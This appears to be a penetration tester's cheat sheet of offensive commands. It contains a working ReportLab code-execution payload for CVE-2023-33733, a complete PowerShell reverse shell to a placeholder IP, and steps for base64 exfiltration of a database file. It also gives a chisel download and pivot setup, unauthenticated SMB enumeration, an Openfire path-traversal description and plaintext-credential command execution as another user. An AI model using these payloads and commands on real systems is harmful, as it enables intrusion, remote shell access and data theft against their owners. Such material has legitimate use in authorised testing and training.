Common smb enum

  • To list smb shares that don’t require a password

smbclient -N -L \target

  • To connect to a particular share

smbclient -N //target/share_name

CVE-2023-33733

Reportlab up to v3.6.12 allows attackers to execute arbitrary code via supplying a crafted PDF file.

<para><font color="[ [ getattr(pow,Word('__globals__'))['os'].system('payload') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">exploit</font></para>
  • example powershell reverse shell
$client = New-Object System.Net.Sockets.TCPClient("ip",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

simple data transfer

  • suppose there is a index.db file, which is a relatively small file, use base64 for data transfer
$content = Get-Content -Path 'index.db' -Encoding Byte
$base64 = [Convert]::ToBase64String($content)
$base64 | Set-Content -Path 'output.txt'
Get-Content -Path 'output.txt'
  • on kali
echo 'base64-encoded' | base64 -d > index.db

setup pivoting

> curl http://ip/chisel.exe -o chisel.exe

# On Kali
> chisel server -p 9999 --reverse
# update /etc/proxychains.conf
# comment out `proxy_dns` for nmap to work
socks5 127.0.0.1 <sock-port>

# On Pivot
# for specific port forwarding
.\chisel client --max-retry-count=1 ip:9999 R:<targetport>:localhost:<targetport>

CVE-2023-32315

Openfire is an XMPP server licensed under the Open Source Apache License. Openfire’s administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.

how to execute cmd as another user

> $SecPassword = ConvertTo-SecureString 'pass' -AsPlainText -Force
> $Cred = New-Object System.Management.Automation.PSCredential('user', $SecPassword)
> $session = New-PSSession -Credential $Cred
> Invoke-Command -Session $session -scriptblock { command }